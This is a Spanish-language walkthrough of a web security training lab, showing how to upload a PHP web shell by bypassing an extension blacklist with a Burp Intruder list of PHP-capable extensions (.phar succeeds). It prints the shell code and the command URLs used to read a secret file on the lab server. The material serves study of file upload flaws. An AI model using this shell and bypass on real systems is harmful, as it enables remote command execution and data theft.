Entrada

File Upload Vulnerabilities Lab 4

File Upload Vulnerabilities Lab 4

Skills

  • Web shell upload via extension blacklist bypass

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una función de carga de imágenes vulnerable, ciertas extensiones de archivo están blacklisteadas, pero esta defensa puede ser eludida debido a una falla fundamental en la configuración de esta blacklist. Para resolver el laboratorio, debemos subir una web shell básica en PHP, utilizarla para extraer el contenido del archivo /home/carlos/secret y enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión con nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter


Resolución

Al acceder a la web nos sale esto

Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter

Vemos que existe un campo de subida de archivos

Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images

Nos creamos un archivo llamado shell.php y lo subimos

1
2
3
<?php
    echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>

Al subir el archivo nos sale un error

Subimos el archivo nuevamente y capturamos la petición con Burpsuite

En Hacktricks hay una lista de extensiones que pueden interpretar código php https://book.hacktricks.xyz/pentesting-web/file-upload#file-upload-general-methodology, nos creamos una lista con estas extensiones

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# cat extensions.txt 
.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.php
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module

Mandamos la petición al intruder de Burpsuite y seleccionamos la extensión

Nos vamos a Payloads, pulsamos en Load, cargamos la lista de extensiones, en la parte inferior de esta ventana desmarcamos el Payload encoding y pulsamos en Start attack

Abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars

Desde el repeater de Burpsuite he ido mandando los payloads manualmente hasta que he dado con el .phar el cual si me ha interpretado https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=whoami, he tenido que hacerlo de esta forma porque los archivos subidos se van eliminando

Listamos el contenido de la home de carlos https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=ls%20/home/carlos

Obtenemos el contenido del archivo secret https://0a20003e03543e85818a53bf005100f3.web-security-academy.net/files/avatars/shell.phar?cmd=cat%20/home/carlos/secret

Submiteamos la solución

Esta entrada está licenciada bajo CC BY 4.0 por el autor.